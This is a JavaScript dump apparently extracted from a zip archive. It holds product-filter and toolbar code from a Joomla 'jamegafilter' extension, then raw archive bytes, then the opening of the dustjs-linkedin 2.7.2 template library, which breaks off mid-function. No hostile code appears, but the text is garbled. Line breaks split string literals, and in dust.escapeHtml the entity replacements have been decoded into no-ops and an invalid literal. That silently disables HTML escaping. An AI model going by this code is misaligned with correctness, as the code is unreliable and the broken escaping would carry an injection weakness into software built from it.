for (var name in self.qs) {
if (name === 'page') {
page = self.qs[name];
continue;
}
hash.push(name + '=' + encodeURIComponent(self.qs[name]));
}
var curHash = hash.slice(0);
if (page) curHash.push('page=' + page);
curHash = curHash.length ? '#' +
curHash.join('&') : '';
// first load handling for empty values selected
var btnSearch = $('#jamegafilter-search-btn');
if (btnSearch.length &&
btnSearch.attr('href').includes('javascript:void')){
btnSearch.attr('href', filter_url + curHash);
}
// handle when values selected
if (e.lntype === 'LNToolbar' || e.lntype ===
'LNSelected') {
if (self.curHash !== curHash) { // only update url once
self.curHash = curHash;
if (btnSearch.length) {
var surl = filter_url + curHash;
btnSearch.attr('href', surl );
} else {
history.replaceState(null, null, location.origin + location.pathname
+ curHash);
// update href for page links
var baseLink = '#' + (hash.length ?
hash.join('&') + '&' : '');
$('a.page').each(function(){
var $a = $(this),
page = $a.data('value');
$a.attr('href', baseLink + 'page=' + page);
})
}
}
}
})
}
self.set = function (name, value) {
if (value) {
self.qs[name] = value;
} else {
delete self.qs[name];
}
}
self.setDefault = function (defaultValues) {
self.defaultValues = defaultValues;
}
});
var LNSelected = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNSelected';
self.options = null;
self.defaultOptions = {
template: 'filter-selected',
class: 'selected-filters'
};
self.selectedFilters = null;
self.values = {};
self.filterFields = [];
self.setSelectedFilters = function (selectedFilters) {
self.selectedFilters = selectedFilters;
}
self.setFilter = function (lnFilter) {
self.lnFilter = lnFilter;
self.filterFields = [];
for (var gid in lnFilter.items) {
var fgroup = lnFilter.getItem(gid),
field = fgroup.options.field;
self.filterFields.push(field);
}
}
self.updateRender = function () {
self.render();
}
self.beforeRender = function () {
// parse selected filters to display
self.values = {};
for(var prop in self.selectedFilters) {
var fitem = self.selectedFilters[prop], field, sval, rval, fval;
if (fitem.is('LNFilterItem')) {
fval = fitem.parent.options.field;
field = fitem.parent.options.title;
rval = fitem.options.value;
sval = fitem.options.frontend_value;
if (fitem.options.name == 'attr.cat.value' ||
fitem.options.name == 'attr.category.value' || fitem.options.name
== 'attr.tag.value')
sval = sval.replace(/^(.*)?\»\; /,
'').replace(/^(.*)?» /, '');
if (fitem.options.template === 'filter.color-item') {
if (JAnameColor[sval.toLowerCase().trim()] != undefined) {
sval = '<i class="fa fa-circle-o"
style="color:'+JAnameColor[sval.toLowerCase().trim()]+';"
aria-hidden="true"></i>';
} else {
sval = '<i class="fa fa-circle-o"
style="color:'+(sval.toLowerCase().trim().indexOf('#')
=== -1 ? '#' :
'')+sval.toLowerCase().trim()+';"
aria-hidden="true"></i>';
}
} else if (fitem.options.template === 'filter.media-item') {
sval= '<img class="img-selected"
src="'+JABaseUrl + '/' +sval+'" />';
}
} else if (fitem.is('LNFilterRange')) {
fval = fitem.options.field;
field = fitem.options.title;
sval = fitem.toString();
rval = fitem.value;
} else if (fitem.is('LNFilterDate') ||
fitem.is('LNFilterNumberrange')) {
fval = fitem.options.field;
field = fitem.options.title;
var from = fitem.$item.find('.jafrom').val(),
to = fitem.$item.find('.jato').val();
sval = from+' '+jamegafilter_to+' '+ to;
rval = from+','+to;
} else {
fval = fitem.options.field;
field = fitem.options.title;
rval = fitem.value;
sval = rval;
}
if (!self.values[fval]) self.values[fval] = [];
if (fitem.options.template === 'filter.color-item'
|| fitem.options.template === 'filter.media-item'
|| (fitem.options.frontend_value !== undefined &&
String(fitem.options.frontend_value).search(/k-icon-document/) !== -1)
)
self.values[fval].push({prop: prop, name: field, value: sval,
raw_value: rval});
else
self.values[fval].push({prop: prop, name: field, value:
dust.escapeHtml(sval), raw_value: rval});
}
// update url hash
if (self.registeredClearFilterEvent) {
var hash = [];
self.filterFields.forEach(function(field) {
var val = null;
if (self.values[field]) {
var vals = [];
self.values[field].forEach(function(val){
vals.push(val.raw_value);
});
val = vals.join(',');
}
self.setQS(field, val);
})
}
//self.super.beforeRender();
}
self.afterRender = function () {
if (Object.keys(self.values).length)
self.$item.parent().removeClass ('empty');
else
self.$item.parent().addClass ('empty');
self.super.afterRender();
self.registerClearFilter();
}
self.registerClearFilter = function () {
if (self.registeredClearFilterEvent) return;
self.registeredClearFilterEvent = true;
// listening click on filter-clear
$(self.options.container).on('click', function (e) {
var $item = $(e.target);
if ($item.is ('.clear-filter')) {
var lnprop = $item.data('lnprop'),
item = self.selectedFilters[lnprop];
item.reset();
}
if ($item.is ('.clear-all-filter')) {
self.resetAll();
}
})
}
self.resetAll = function () {
for(var prop in self.selectedFilters) {
var fitem = self.selectedFilters[prop];
fitem.reset();
}
}
}) ;
var LNToolbar = LNBase.extend(function() {
// private variable
var self = this,
$ = jQuery;
self.type = 'LNToolbar';
self.options = null;
self.defaultOptions = {
template: 'product-toolbar',
class: 'products-toolbar',
rerenderWhenUpdate: true
};
self.lnItems = null;
self.startIdx = 0;
self.endIdx = 0;
self.totalItems = 0;
self.page = 0;
self.itemPerPage = 0;
self.nextPage = null;
self.sortDir = '';
self.constructor = function (options) {
self.super.constructor(options);
// get from config
self.sortByOptions = self.options.config.sortByOptions;
self.productsPerPageAllowed =
self.options.config.productsPerPageAllowed;
self.itemPerPage = self.productsPerPageAllowed[0];
self.autopage = self.options.config.autopage;
}
self.beforeRender = function () {
self.startIdx = self.lnItems.matchedIds.length ?
self.lnItems.startIdx:0;
self.endIdx = self.lnItems.endIdx;
self.totalItems = self.lnItems.matchedIds.length;
self.curPage = parseInt(self.lnItems.page);
self.itemPerPage = self.lnItems.itemPerPage;
// calculate pages, prevPage, nextPage
var pages = Math.ceil(self.totalItems / self.itemPerPage);
self.startPage = 1;
self.endPage = pages;
self.prevPage = self.curPage > 1 ? self.curPage - 1 : 1;
self.nextPage = self.curPage < pages ? self.curPage + 1 : pages;
self.pages = null;
if (pages > 1) {
self.pages = [];
var start, end;
start = self.curPage - 2;
if (start < 1) start = 1;
end = 5 + start;
if (end > pages) {
end = pages;
start = end - 5;
if (start < 1) start = 1;
}
for (var i=start; i<=end; i++) self.pages.push(i);
}
// if (self.lnItems.sortField.search('.value') !== -1)
// self.lnItems.sortField =
self.lnItems.sortField.replace('.value',
'.frontend_value');
self.sortField = self.lnItems.sortField;
self.sortDir = self.lnItems.sortDir == 'desc' ? 'asc'
: 'desc';
}
// Filter base on list data items
self.addItems = function (lnItems) {
self.lnItems = lnItems;
}
self.setPage = function (p) {
self.page = p;
}
self.afterRender = function () {
if (!self.actionHandled) {
self.actionHandled = true;
self.$item.parent().on('click', function (e) {
var $btn = $(e.target).closest('[data-action]'),
action = 'do' + $btn.data('action');
if (!self[action]) return false;
var value = $btn.data('value');
self[action](value);
return false;
}).on('change', function (e) {
var $elem = $(e.target);
if ($elem.prop('tagName') == 'SELECT') {
if (jQuery($elem).hasClass('sorter-options'))
addFilterWarperClass(jQuery($elem));
var $btn = $elem.find(":selected"),
action = 'do' + $btn.data('action');
if (!self[action]) return false;
var value = $btn.data('value');
self[action](value);
return false;
}
});
}
}
self.dopage = function (value) {
if (value != self.lnItems.page){
self.lnItems.setPage(value).updateRender();
}
}
self.dosort = function (value) {
if (value != self.lnItems.sortField) {
self.lnItems.sort(value).setMatchedItems(self.lnItems.matchedIds).updateRender();
}
}
self.dosortdir = function (value) {
var sorDir = value == 'desc' ? 'desc' :
'asc';
self.lnItems.sort(undefined,
sorDir).setMatchedItems(self.lnItems.matchedIds).updateRender();
}
self.dolimiter = function (value) {
if (value != self.lnItems.itemPerPage) {
self.lnItems.setLimiter(value).updateRender();
}
}
self.load = function () {
var qs = self.getQS();
// set default toolbar value
qs.setDefault({
page: 1,
limiter: self.productsPerPageAllowed[0],
sort: self.sortByOptions[0].field,
sortdir: 'desc'
})
//update query string for default sorting
if ( !qs.qs.sort ) qs.qs.sort = ja_default_sort;
if ( !qs.qs.sortdir ) qs.qs.sortdir = ja_sort_by;
for (var name in qs.qs) {
var value = qs.qs[name],
action = 'do' + name;
if (self[action]) {
self[action](value);
}
}
}
});PK�v�[fN�R�R�assets/js/libs.jsnu�[���/*!
dustjs-linkedin - v2.7.2
* http://dustjs.com/
* Copyright (c) 2015 Aleksander Williams; Released under the MIT License */
(function (root, factory) {
if (typeof define === 'function' && define.amd
&& define.amd.dust === true) {
define('dust.core', [], factory);
} else if (typeof exports === 'object') {
module.exports = factory();
} else {
root.dust = factory();
}
}(this, function() {
var dust = {
"version": "2.7.2"
},
NONE = 'NONE', ERROR = 'ERROR', WARN =
'WARN', INFO = 'INFO', DEBUG = 'DEBUG',
EMPTY_FUNC = function() {};
dust.config = {
whitespace: false,
amd: false,
cjs: false,
cache: true
};
// Directive aliases to minify code
dust._aliases = {
"write": "w",
"end": "e",
"map": "m",
"render": "r",
"reference": "f",
"section": "s",
"exists": "x",
"notexists": "nx",
"block": "b",
"partial": "p",
"helper": "h"
};
(function initLogging() {
/*global process, console*/
var loggingLevels = { DEBUG: 0, INFO: 1, WARN: 2, ERROR: 3, NONE: 4 },
consoleLog,
log;
if (typeof console !== 'undefined' && console.log) {
consoleLog = console.log;
if(typeof consoleLog === 'function') {
log = function() {
consoleLog.apply(console, arguments);
};
} else {
log = function() {
consoleLog(Array.prototype.slice.apply(arguments).join('
'));
};
}
} else {
log = EMPTY_FUNC;
}
/**
* Filters messages based on `dust.debugLevel`.
* This default implementation will print to the console if it exists.
* @param {String|Error} message the message to print/throw
* @param {String} type the severity of the message(ERROR, WARN, INFO,
or DEBUG)
* @public
*/
dust.log = function(message, type) {
type = type || INFO;
if (loggingLevels[type] >= loggingLevels[dust.debugLevel]) {
log('[DUST:' + type + ']', message);
}
};
dust.debugLevel = NONE;
if(typeof process !== 'undefined' && process.env
&& /\bdust\b/.test(process.env.DEBUG)) {
dust.debugLevel = DEBUG;
}
}());
dust.helpers = {};
dust.cache = {};
dust.register = function(name, tmpl) {
if (!name) {
return;
}
tmpl.templateName = name;
if (dust.config.cache !== false) {
dust.cache[name] = tmpl;
}
};
dust.render = function(nameOrTemplate, context, callback) {
var chunk = new Stub(callback).head;
try {
load(nameOrTemplate, chunk, context).end();
} catch (err) {
chunk.setError(err);
}
};
dust.stream = function(nameOrTemplate, context) {
var stream = new Stream(),
chunk = stream.head;
dust.nextTick(function() {
try {
load(nameOrTemplate, chunk, context).end();
} catch (err) {
chunk.setError(err);
}
});
return stream;
};
/**
* Extracts a template function (body_0) from whatever is passed.
* @param nameOrTemplate {*} Could be:
* - the name of a template to load from cache
* - a CommonJS-compiled template (a function with a `template`
property)
* - a template function
* @param loadFromCache {Boolean} if false, don't look in the cache
* @return {Function} a template function, if found
*/
function getTemplate(nameOrTemplate, loadFromCache/*=true*/) {
if(!nameOrTemplate) {
return;
}
if(typeof nameOrTemplate === 'function' &&
nameOrTemplate.template) {
// Sugar away CommonJS module templates
return nameOrTemplate.template;
}
if(dust.isTemplateFn(nameOrTemplate)) {
// Template functions passed directly
return nameOrTemplate;
}
if(loadFromCache !== false) {
// Try loading a template with this name from cache
return dust.cache[nameOrTemplate];
}
}
function load(nameOrTemplate, chunk, context) {
if(!nameOrTemplate) {
return chunk.setError(new Error('No template or template name
provided to render'));
}
var template = getTemplate(nameOrTemplate, dust.config.cache);
if (template) {
return template(chunk, Context.wrap(context, template.templateName));
} else {
if (dust.onLoad) {
return chunk.map(function(chunk) {
// Alias just so it's easier to read that this would always
be a name
var name = nameOrTemplate;
// Three possible scenarios for a successful callback:
// - `require(nameOrTemplate)(dust); cb()`
// - `src = readFile('src.dust'); cb(null, src)`
// - `compiledTemplate = require(nameOrTemplate)(dust);
cb(null, compiledTemplate)`
function done(err, srcOrTemplate) {
var template;
if (err) {
return chunk.setError(err);
}
// Prefer a template that is passed via callback over the
cached version.
template = getTemplate(srcOrTemplate, false) ||
getTemplate(name, dust.config.cache);
if (!template) {
// It's a template string, compile it and register under
`name`
if(dust.compile) {
template = dust.loadSource(dust.compile(srcOrTemplate,
name));
} else {
return chunk.setError(new Error('Dust compiler not
available'));
}
}
template(chunk, Context.wrap(context,
template.templateName)).end();
}
if(dust.onLoad.length === 3) {
dust.onLoad(name, context.options, done);
} else {
dust.onLoad(name, done);
}
});
}
return chunk.setError(new Error('Template Not Found: ' +
nameOrTemplate));
}
}
dust.loadSource = function(source) {
/*jshint evil:true*/
return eval(source);
};
if (Array.isArray) {
dust.isArray = Array.isArray;
} else {
dust.isArray = function(arr) {
return Object.prototype.toString.call(arr) === '[object
Array]';
};
}
dust.nextTick = (function() {
return function(callback) {
setTimeout(callback, 0);
};
})();
/**
* Dust has its own rules for what is "empty"-- which is not
the same as falsy.
* Empty arrays, null, and undefined are empty
*/
dust.isEmpty = function(value) {
if (value === 0) {
return false;
}
if (dust.isArray(value) && !value.length) {
return true;
}
return !value;
};
dust.isEmptyObject = function(obj) {
var key;
if (obj === null) {
return false;
}
if (obj === undefined) {
return false;
}
if (obj.length > 0) {
return false;
}
for (key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
return false;
}
}
return true;
};
dust.isTemplateFn = function(elem) {
return typeof elem === 'function' &&
elem.__dustBody;
};
/**
* Decide somewhat-naively if something is a Thenable.
* @param elem {*} object to inspect
* @return {Boolean} is `elem` a Thenable?
*/
dust.isThenable = function(elem) {
return elem &&
typeof elem === 'object' &&
typeof elem.then === 'function';
};
/**
* Decide very naively if something is a Stream.
* @param elem {*} object to inspect
* @return {Boolean} is `elem` a Stream?
*/
dust.isStreamable = function(elem) {
return elem &&
typeof elem.on === 'function' &&
typeof elem.pipe === 'function';
};
// apply the filter chain and return the output string
dust.filter = function(string, auto, filters, context) {
var i, len, name, filter;
if (filters) {
for (i = 0, len = filters.length; i < len; i++) {
name = filters[i];
if (!name.length) {
continue;
}
filter = dust.filters[name];
if (name === 's') {
auto = null;
} else if (typeof filter === 'function') {
string = filter(string, context);
} else {
dust.log('Invalid filter `' + name + '`',
WARN);
}
}
}
// by default always apply the h filter, unless asked to unescape with
|s
if (auto) {
string = dust.filters[auto](string, context);
}
return string;
};
dust.filters = {
h: function(value) { return dust.escapeHtml(value); },
j: function(value) { return dust.escapeJs(value); },
u: encodeURI,
uc: encodeURIComponent,
js: function(value) { return dust.escapeJSON(value); },
jp: function(value) {
if (!JSON) {dust.log('JSON is undefined; could not parse `'
+ value + '`', WARN);
return value;
} else {
return JSON.parse(value);
}
}
};
function Context(stack, global, options, blocks, templateName) {
if(stack !== undefined && !(stack instanceof Stack)) {
stack = new Stack(stack);
}
this.stack = stack;
this.global = global;
this.options = options;
this.blocks = blocks;
this.templateName = templateName;
}
dust.makeBase = dust.context = function(global, options) {
return new Context(undefined, global, options);
};
/**
* Factory function that creates a closure scope around a
Thenable-callback.
* Returns a function that can be passed to a Thenable that will resume a
* Context lookup once the Thenable resolves with new data, adding that
new
* data to the lookup stack.
*/
function getWithResolvedData(ctx, cur, down) {
return function(data) {
return ctx.push(data)._get(cur, down);
};
}
Context.wrap = function(context, name) {
if (context instanceof Context) {
return context;
}
return new Context(context, {}, {}, null, name);
};
/**
* Public API for getting a value from the context.
* @method get
* @param {string|array} path The path to the value. Supported formats
are:
* 'key'
* 'path.to.key'
* '.path.to.key'
* ['path', 'to', 'key']
* ['key']
* @param {boolean} [cur=false] Boolean which determines if the search
should be limited to the
* current context (true), or if get should search in parent contexts as
well (false).
* @public
* @returns {string|object}
*/
Context.prototype.get = function(path, cur) {
if (typeof path === 'string') {
if (path[0] === '.') {
cur = true;
path = path.substr(1);
}
path = path.split('.');
}
return this._get(cur, path);
};
/**
* Get a value from the context
* @method _get
* @param {boolean} cur Get only from the current context
* @param {array} down An array of each step in the path
* @private
* @return {string | object}
*/
Context.prototype._get = function(cur, down) {
var ctx = this.stack || {},
i = 1,
value, first, len, ctxThis, fn;
first = down[0];
len = down.length;
if (cur && len === 0) {
ctxThis = ctx;
ctx = ctx.head;
} else {
if (!cur) {
// Search up the stack for the first value
while (ctx) {
if (ctx.isObject) {
ctxThis = ctx.head;
value = ctx.head[first];
if (value !== undefined) {
break;
}
}
ctx = ctx.tail;
}
// Try looking in the global context if we haven't found
anything yet
if (value !== undefined) {
ctx = value;
} else {
ctx = this.global && this.global[first];
}
} else if (ctx) {
// if scope is limited by a leading dot, don't search up the
tree
if(ctx.head) {
ctx = ctx.head[first];
} else {
// context's head is empty, value we are searching for is
not defined
ctx = undefined;
}
}
while (ctx && i < len) {
if (dust.isThenable(ctx)) {
// Bail early by returning a Thenable for the remainder of the
search tree
return ctx.then(getWithResolvedData(this, cur, down.slice(i)));
}
ctxThis = ctx;
ctx = ctx[down[i]];
i++;
}
}
if (typeof ctx === 'function') {
fn = function() {
try {
return ctx.apply(ctxThis, arguments);
} catch (err) {
dust.log(err, ERROR);
throw err;
}
};
fn.__dustBody = !!ctx.__dustBody;
return fn;
} else {
if (ctx === undefined) {
dust.log('Cannot find reference `{' +
down.join('.') + '}` in template `' +
this.getTemplateName() + '`', INFO);
}
return ctx;
}
};
Context.prototype.getPath = function(cur, down) {
return this._get(cur, down);
};
Context.prototype.push = function(head, idx, len) {
if(head === undefined) {
dust.log("Not pushing an undefined variable onto the
context", INFO);
return this;
}
return this.rebase(new Stack(head, this.stack, idx, len));
};
Context.prototype.pop = function() {
var head = this.current();
this.stack = this.stack && this.stack.tail;
return head;
};
Context.prototype.rebase = function(head) {
return new Context(head, this.global, this.options, this.blocks,
this.getTemplateName());
};
Context.prototype.clone = function() {
var context = this.rebase();
context.stack = this.stack;
return context;
};
Context.prototype.current = function() {
return this.stack && this.stack.head;
};
Context.prototype.getBlock = function(key) {
var blocks, len, fn;
if (typeof key === 'function') {
key = key(new Chunk(), this).data.join('');
}
blocks = this.blocks;
if (!blocks) {
dust.log('No blocks for context `' + key + '` in
template `' + this.getTemplateName() + '`', DEBUG);
return false;
}
len = blocks.length;
while (len--) {
fn = blocks[len][key];
if (fn) {
return fn;
}
}
dust.log('Malformed template `' + this.getTemplateName() +
'` was missing one or more blocks.');
return false;
};
Context.prototype.shiftBlocks = function(locals) {
var blocks = this.blocks,
newBlocks;
if (locals) {
if (!blocks) {
newBlocks = [locals];
} else {
newBlocks = blocks.concat([locals]);
}
return new Context(this.stack, this.global, this.options, newBlocks,
this.getTemplateName());
}
return this;
};
Context.prototype.resolve = function(body) {
var chunk;
if(typeof body !== 'function') {
return body;
}
chunk = new Chunk().render(body, this);
if(chunk instanceof Chunk) {
return chunk.data.join(''); // ie7 perf
}
return chunk;
};
Context.prototype.getTemplateName = function() {
return this.templateName;
};
function Stack(head, tail, idx, len) {
this.tail = tail;
this.isObject = head && typeof head === 'object';
this.head = head;
this.index = idx;
this.of = len;
}
function Stub(callback) {
this.head = new Chunk(this);
this.callback = callback;
this.out = '';
}
Stub.prototype.flush = function() {
var chunk = this.head;
while (chunk) {
if (chunk.flushable) {
this.out += chunk.data.join(''); //ie7 perf
} else if (chunk.error) {
this.callback(chunk.error);
dust.log('Rendering failed with error `' + chunk.error +
'`', ERROR);
this.flush = EMPTY_FUNC;
return;
} else {
return;
}
chunk = chunk.next;
this.head = chunk;
}
this.callback(null, this.out);
};
/**
* Creates an interface sort of like a Streams2 ReadableStream.
*/
function Stream() {
this.head = new Chunk(this);
}
Stream.prototype.flush = function() {
var chunk = this.head;
while(chunk) {
if (chunk.flushable) {
this.emit('data', chunk.data.join('')); //ie7
perf
} else if (chunk.error) {
this.emit('error', chunk.error);
this.emit('end');
dust.log('Streaming failed with error `' + chunk.error +
'`', ERROR);
this.flush = EMPTY_FUNC;
return;
} else {
return;
}
chunk = chunk.next;
this.head = chunk;
}
this.emit('end');
};
/**
* Executes listeners for `type` by passing data. Note that this is
different from a
* Node stream, which can pass an arbitrary number of arguments
* @return `true` if event had listeners, `false` otherwise
*/
Stream.prototype.emit = function(type, data) {
var events = this.events || {},
handlers = events[type] || [],
i, l;
if (!handlers.length) {
dust.log('Stream broadcasting, but no listeners for `' +
type + '`', DEBUG);
return false;
}
handlers = handlers.slice(0);
for (i = 0, l = handlers.length; i < l; i++) {
handlers[i](data);
}
return true;
};
Stream.prototype.on = function(type, callback) {
var events = this.events = this.events || {},
handlers = events[type] = events[type] || [];
if(typeof callback !== 'function') {
dust.log('No callback function provided for `' + type +
'` event listener', WARN);
} else {
handlers.push(callback);
}
return this;
};
/**
* Pipes to a WritableStream. Note that backpressure isn't
implemented,
* so we just write as fast as we can.
* @param stream {WritableStream}
* @return self
*/
Stream.prototype.pipe = function(stream) {
if(typeof stream.write !== 'function' ||
typeof stream.end !== 'function') {
dust.log('Incompatible stream passed to `pipe`', WARN);
return this;
}
var destEnded = false;
if(typeof stream.emit === 'function') {
stream.emit('pipe', this);
}
if(typeof stream.on === 'function') {
stream.on('error', function() {
destEnded = true;
});
}
return this
.on('data', function(data) {
if(destEnded) {
return;
}
try {
stream.write(data, 'utf8');
} catch (err) {
dust.log(err, ERROR);
}
})
.on('end', function() {
if(destEnded) {
return;
}
try {
stream.end();
destEnded = true;
} catch (err) {
dust.log(err, ERROR);
}
});
};
function Chunk(root, next, taps) {
this.root = root;
this.next = next;
this.data = []; //ie7 perf
this.flushable = false;
this.taps = taps;
}
Chunk.prototype.write = function(data) {
var taps = this.taps;
if (taps) {
data = taps.go(data);
}
this.data.push(data);
return this;
};
Chunk.prototype.end = function(data) {
if (data) {
this.write(data);
}
this.flushable = true;
this.root.flush();
return this;
};
Chunk.prototype.map = function(callback) {
var cursor = new Chunk(this.root, this.next, this.taps),
branch = new Chunk(this.root, cursor, this.taps);
this.next = branch;
this.flushable = true;
try {
callback(branch);
} catch(err) {
dust.log(err, ERROR);
branch.setError(err);
}
return cursor;
};
Chunk.prototype.tap = function(tap) {
var taps = this.taps;
if (taps) {
this.taps = taps.push(tap);
} else {
this.taps = new Tap(tap);
}
return this;
};
Chunk.prototype.untap = function() {
this.taps = this.taps.tail;
return this;
};
Chunk.prototype.render = function(body, context) {
return body(this, context);
};
Chunk.prototype.reference = function(elem, context, auto, filters) {
if (typeof elem === 'function') {
elem = elem.apply(context.current(), [this, context, null, {auto:
auto, filters: filters}]);
if (elem instanceof Chunk) {
return elem;
} else {
return this.reference(elem, context, auto, filters);
}
}
if (dust.isThenable(elem)) {
return this.await(elem, context, null, auto, filters);
} else if (dust.isStreamable(elem)) {
return this.stream(elem, context, null, auto, filters);
} else if (!dust.isEmpty(elem)) {
return this.write(dust.filter(elem, auto, filters, context));
} else {
return this;
}
};
Chunk.prototype.section = function(elem, context, bodies, params) {
var body = bodies.block,
skip = bodies['else'],
chunk = this,
i, len, head;
if (typeof elem === 'function' &&
!dust.isTemplateFn(elem)) {
try {
elem = elem.apply(context.current(), [this, context, bodies,
params]);
} catch(err) {
dust.log(err, ERROR);
return this.setError(err);
}
// Functions that return chunks are assumed to have handled the chunk
manually.
// Make that chunk the current one and go to the next method in the
chain.
if (elem instanceof Chunk) {
return elem;
}
}
if (dust.isEmptyObject(bodies)) {
// No bodies to render, and we've already invoked any function
that was available in
// hopes of returning a Chunk.
return chunk;
}
if (!dust.isEmptyObject(params)) {
context = context.push(params);
}
/*
Dust's default behavior is to enumerate over the array elem,
passing each object in the array to the block.
When elem resolves to a value or object instead of an array, Dust sets
the current context to the value
and renders the block one time.
*/
if (dust.isArray(elem)) {
if (body) {
len = elem.length;
if (len > 0) {
head = context.stack && context.stack.head || {};
head.$len = len;
for (i = 0; i < len; i++) {
head.$idx = i;
chunk = body(chunk, context.push(elem[i], i, len));
}
head.$idx = undefined;
head.$len = undefined;
return chunk;
} else if (skip) {
return skip(this, context);
}
}
} else if (dust.isThenable(elem)) {
return this.await(elem, context, bodies);
} else if (dust.isStreamable(elem)) {
return this.stream(elem, context, bodies);
} else if (elem === true) {
// true is truthy but does not change context
if (body) {
return body(this, context);
}
} else if (elem || elem === 0) {
// everything that evaluates to true are truthy ( e.g. Non-empty
strings and Empty objects are truthy. )
// zero is truthy
// for anonymous functions that did not returns a chunk, truthiness
is evaluated based on the return value
if (body) {
return body(this, context.push(elem));
}
// nonexistent, scalar false value, scalar empty string, null,
// undefined are all falsy
} else if (skip) {
return skip(this, context);
}
dust.log('Section without corresponding key in template `' +
context.getTemplateName() + '`', DEBUG);
return this;
};
Chunk.prototype.exists = function(elem, context, bodies) {
var body = bodies.block,
skip = bodies['else'];
if (!dust.isEmpty(elem)) {
if (body) {
return body(this, context);
}
dust.log('No block for exists check in template `' +
context.getTemplateName() + '`', DEBUG);
} else if (skip) {
return skip(this, context);
}
return this;
};
Chunk.prototype.notexists = function(elem, context, bodies) {
var body = bodies.block,
skip = bodies['else'];
if (dust.isEmpty(elem)) {
if (body) {
return body(this, context);
}
dust.log('No block for not-exists check in template `' +
context.getTemplateName() + '`', DEBUG);
} else if (skip) {
return skip(this, context);
}
return this;
};
Chunk.prototype.block = function(elem, context, bodies) {
var body = elem || bodies.block;
if (body) {
return body(this, context);
}
return this;
};
Chunk.prototype.partial = function(elem, context, partialContext, params)
{
var head;
if(params === undefined) {
// Compatibility for < 2.7.0 where `partialContext` did not exist
params = partialContext;
partialContext = context;
}
if (!dust.isEmptyObject(params)) {
partialContext = partialContext.clone();
head = partialContext.pop();
partialContext = partialContext.push(params)
.push(head);
}
if (dust.isTemplateFn(elem)) {
// The eventual result of evaluating `elem` is a partial name
// Load the partial after getting its name and end the async chunk
return this.capture(elem, context, function(name, chunk) {
partialContext.templateName = name;
load(name, chunk, partialContext).end();
});
} else {
partialContext.templateName = elem;
return load(elem, this, partialContext);
}
};
Chunk.prototype.helper = function(name, context, bodies, params, auto) {
var chunk = this,
filters = params.filters,
ret;
// Pre-2.7.1 compat: if auto is undefined, it's an old template.
Automatically escape
if (auto === undefined) {
auto = 'h';
}
// handle invalid helpers, similar to invalid filters
if(dust.helpers[name]) {
try {
ret = dust.helpers[name](chunk, context, bodies, params);
if (ret instanceof Chunk) {
return ret;
}
if(typeof filters === 'string') {
filters = filters.split('|');
}
if (!dust.isEmptyObject(bodies)) {
return chunk.section(ret, context, bodies, params);
}
// Helpers act slightly differently from functions in context in
that they will act as
// a reference if they are self-closing (due to grammar
limitations)
// In the Chunk.await function we check to make sure bodies is null
before acting as a reference
return chunk.reference(ret, context, auto, filters);
} catch(err) {
dust.log('Error in helper `' + name + '`: ' +
err.message, ERROR);
return chunk.setError(err);
}
} else {
dust.log('Helper `' + name + '` does not exist',
WARN);
return chunk;
}
};
/**
* Reserve a chunk to be evaluated once a thenable is resolved or
rejected
* @param thenable {Thenable} the target thenable to await
* @param context {Context} context to use to render the deferred chunk
* @param bodies {Object} must contain a "body", may contain an
"error"
* @param auto {String} automatically apply this filter if the Thenable
is a reference
* @param filters {Array} apply these filters if the Thenable is a
reference
* @return {Chunk}
*/
Chunk.prototype.await = function(thenable, context, bodies, auto,
filters) {
return this.map(function(chunk) {
thenable.then(function(data) {
if (bodies) {
chunk = chunk.section(data, context, bodies);
} else {
// Actually a reference. Self-closing sections don't render
chunk = chunk.reference(data, context, auto, filters);
}
chunk.end();
}, function(err) {
var errorBody = bodies && bodies.error;
if(errorBody) {
chunk.render(errorBody, context.push(err)).end();
} else {
dust.log('Unhandled promise rejection in `' +
context.getTemplateName() + '`', INFO);
chunk.end();
}
});
});
};
/**
* Reserve a chunk to be evaluated with the contents of a streamable.
* Currently an error event will bomb out the stream. Once an error
* is received, we push it to an {:error} block if one exists, and log
otherwise,
* then stop listening to the stream.
* @param streamable {Streamable} the target streamable that will emit
events
* @param context {Context} context to use to render each thunk
* @param bodies {Object} must contain a "body", may contain an
"error"
* @return {Chunk}
*/
Chunk.prototype.stream = function(stream, context, bodies, auto, filters)
{
var body = bodies && bodies.block,
errorBody = bodies && bodies.error;
return this.map(function(chunk) {
var ended = false;
stream
.on('data', function data(thunk) {
if(ended) {
return;
}
if(body) {
// Fork a new chunk out of the blockstream so that we can flush
it independently
chunk = chunk.map(function(chunk) {
chunk.render(body, context.push(thunk)).end();
});
} else if(!bodies) {
// When actually a reference, don't fork, just write into
the master async chunk
chunk = chunk.reference(thunk, context, auto, filters);
}
})
.on('error', function error(err) {
if(ended) {
return;
}
if(errorBody) {
chunk.render(errorBody, context.push(err));
} else {
dust.log('Unhandled stream error in `' +
context.getTemplateName() + '`', INFO);
}
if(!ended) {
ended = true;
chunk.end();
}
})
.on('end', function end() {
if(!ended) {
ended = true;
chunk.end();
}
});
});
};
Chunk.prototype.capture = function(body, context, callback) {
return this.map(function(chunk) {
var stub = new Stub(function(err, out) {
if (err) {
chunk.setError(err);
} else {
callback(out, chunk);
}
});
body(stub.head, context).end();
});
};
Chunk.prototype.setError = function(err) {
this.error = err;
this.root.flush();
return this;
};
// Chunk aliases
for(var f in Chunk.prototype) {
if(dust._aliases[f]) {
Chunk.prototype[dust._aliases[f]] = Chunk.prototype[f];
}
}
function Tap(head, tail) {
this.head = head;
this.tail = tail;
}
Tap.prototype.push = function(tap) {
return new Tap(tap, this);
};
Tap.prototype.go = function(value) {
var tap = this;
while(tap) {
value = tap.head(value);
tap = tap.tail;
}
return value;
};
var HCHARS = /[&<>"']/,
AMP = /&/g,
LT = /</g,
GT = />/g,
QUOT = /\"/g,
SQUOT = /\'/g;
dust.escapeHtml = function(s) {
if (typeof s === "string" || (s && typeof s.toString
=== "function")) {
if (typeof s !== "string") {
s = s.toString();
}
if (!HCHARS.test(s)) {
return s;
}
return
s.replace(AMP,'&').replace(LT,'<').replace(GT,'>').replace(QUOT,'"').replace(SQUOT,
''');
}
return s;
};
var BS = /\\/g,
FS = /\//g,
CR = /\r/g,
LS = /\u2028/g,
PS = /\u2029/g,
NL = /\n/g,
LF = /\f/g,
SQ = /'/g,
DQ = /"/g,
TB = /\t/g;
dust.escapeJs = function(s) {
if (typeof s === 'string') {
return s
.replace(BS, '\\\\')
.replace(FS, '\\/')
.replace(DQ, '\\"')
.replace(SQ, '\\\'')
.replace(CR, '\\r')
.replace(LS, '\\u2028')
